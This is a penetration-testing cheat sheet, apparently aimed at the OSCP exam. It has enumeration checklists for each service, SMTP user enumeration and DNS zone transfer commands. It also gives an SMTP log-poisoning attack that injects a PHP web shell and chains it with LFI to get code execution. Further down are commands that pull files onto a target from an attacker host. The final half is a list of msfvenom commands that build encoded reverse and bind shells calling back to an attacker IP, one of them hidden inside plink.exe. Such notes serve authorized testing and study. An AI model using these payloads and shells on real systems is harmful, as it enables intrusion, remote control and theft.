Pentesting Notes

Penetration testing notes for the OSCP and other engagements: methodology, per-service enumeration, file transfers, and shells.

Methodology

Enumeration Checklist

Web

  • Web Server Vulnerability
  • Web Framework Vulnerability
  • Default Credentials
  • Guessed Credentials
  • View Page Source
  • View Cookies
  • View Burp Request (redirects)
  • LFI or RFI Vulnerabilities
  • Directory Search (nikto, gobuster)
  • Check for SQL Injection

FTP

  • Software Vulnerability
  • Default Credentials
  • Guessed Credentials
  • Anonymous Access
  • Passive Mode Access
  • Download Files
  • Upload Files
  • List all (hidden) files
  • Binary and ascii transfer modes

Samba

  • Software Vulnerability
  • Anonymous Access
  • Download Files
  • Upload Files

DNS

  • Hidden Domain Names

SQL

  • Software Vulnerability
  • Check if able to connect
  • Default Credentials
  • Guessed Credentials

Mail

  • Software Vulnerability
  • Username Enumeration
  • Default Credentials
  • Guessed Credentials
  • Check mail inbox
  • Log file poisoning

Services by Port

FTP — Port 21

Anonymous FTP

ftp IP PORT
anonymous
anonymous

FTP Modes

There are two modes for file exfiltration using FTP: binary and ascii.

SSH — Port 22

Enable Key Exchange

ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 IP

SMTP — Port 25

User Enumeration

VRFY

Check for existing users on a system using the VRFY command in SMTP.

telnet IP PORT
VRFY root
VRFY user
RCPT TO

Check for existing users on a system using the VRFY command in SMTP.

telnet IP PORT
MAIL FROM: root
RCPT TO: root
RCPT TO: user

SMTP Log Poisoning through LFI to RCE

If SMTP is available and a LFI vulnerability is discovered in a web application, injecting a PHP shell into the mail logs via SMTP can lead to RCE through the LFI.

<?php echo system($_GET["cmd"]); ?>

Connect to SMTP and send a message with PHP injected.

telnet IP PORT
HELO x
MAIL FROM: pwn@pwn.pwn
RCPT TO: root
DATA
SUBJECT: <?php echo system($_GET["cmd"]); ?>
.

Browse to the LFI (typically /var/log/mail) to check for code execution.

Resources

DNS — Port 53

Zone Transfer

Zone transfer information can be used to reveal all DNS information such as additional host names.

dig axfr @IP # Try zone transfer without domain
dig axfr @IP DOMAIN # Try zone transfer guessing the domain

File Transfers

Common commands for data ingress and egress.

HTTP

# Attacker machine
python2 -m SimpleHTTPServer PORT
python3 -m http.server PORT

# Linux - Target machine
wget http://URL:PORT/FILE

# Linux - Target machine
curl URL:PORT/FILE -o FILE

# Windows - Target machine
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://URL:PORT/FILE','C:\Users\User\Desktop\FILE')"

# Windows - Target machine
certutil -urlcache -split -f http://URL:PORT/FILE FILE

Shells

Reverse Shells

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f raw -o shell.php

# Java WAR reverse shell
msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f war -o shell.war

# Linux bind shell
msfvenom -p linux/x86/shell_bind_tcp LPORT=4443 -f c -b "\x00\x0a\x0d\x20" -e x86/shikata_ga_nai

# Linux FreeBSD reverse shell
msfvenom -p bsd/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f elf -o shell.elf

# Linux C reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f c

# Windows non staged reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f exe -o non_staged.exe

# Windows Staged (Meterpreter) reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f exe -o meterpreter.exe

# Windows Python reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -f python -o shell.py

# Windows ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f asp -e x86/shikata_ga_nai -o shell.asp

# Windows ASPX reverse shell
msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -o shell.aspx

# Windows JavaScript reverse shell with nops
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f js_le -e generic/none -n 18

# Windows Powershell reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -i 9 -f psh -o shell.ps1

# Windows reverse shell excluding bad characters
msfvenom -p windows/shell_reverse_tcp -a x86 LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -f c -b "\x00\x04" -e x86/shikata_ga_nai

# Windows x64 bit reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -o shell.exe

# Windows reverse shell embedded into plink
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe